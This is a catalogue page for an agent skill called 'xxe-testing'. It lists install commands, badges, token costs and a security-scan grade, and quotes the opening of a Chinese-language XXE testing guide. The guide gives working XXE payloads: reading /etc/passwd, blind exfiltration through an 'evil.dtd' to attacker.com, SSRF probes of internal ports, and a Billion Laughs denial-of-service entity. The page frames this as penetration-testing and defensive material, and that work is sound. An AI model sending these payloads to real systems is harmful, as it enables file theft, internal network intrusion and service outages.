A security-testing guide for XXE, a flaw where an XML parser is tricked into reading files or making network requests. It covers XML inputs such as APIs, uploads, SOAP services, office documents, SVGs, and PDFs.

Use it to identify XML entry points, test direct and blind XXE cases, and plan protections for applications that parse XML.

It helps find unsafe XML processing before attackers can use it to expose files, reach internal systems, or cause service disruption.

xxe-testing — Skill for Claude Code and Codex by liuxinye23

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add liuxinye23/CyberStrikeAI --skill xxe-testing

Clone the repo

git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/xxe-testing/github.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/xxe-testing)

Your own site

<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/xxe-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/xxe-testing/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/xxe-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/xxe-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 19 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,783 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00019	$0.01783
Opus 5	$0.00010	$0.00892
Sonnet 5	$0.00004	$0.00357
Haiku 4.5	$0.00002	$0.00178

Measured 8d ago against content hash cc6dab629bf8, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

xxe-testing scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/xxe-testing/SKILL.md · 244 lines

How it starts

The opening of the file, as written. The whole thing — 244 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XXE XML外部实体注入测试

概述

XXE（XML External Entity）注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。

漏洞原理

XML解析器在处理外部实体时，可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于：

XML文档解析
SOAP服务
Office文档（.docx, .xlsx等）
SVG图片
PDF文件

测试方法

1. 识别XML输入点

文件上传功能
API接口接受XML数据
SOAP请求
Office文档处理
数据导入功能

2. 基础XXE检测

测试外部实体：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

测试网络请求（SSRF）：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

3. 盲XXE检测

当响应不直接显示内容时：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>

使用参数实体：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

evil.dtd内容：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;

利用技术

文件读取

读取本地文件：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows路径：

<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">

SSRF攻击

内网探测：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>

端口扫描：

<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">

拒绝服务

Billion Laughs攻击：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>

Read the full file on GitHub · 244 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

8d ago First seen · 244 lines · 19 tokens per session scan A cc6dab629bf8

Subscribe to this mod's changes

xxe-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 19 tokens to every session and 1,783 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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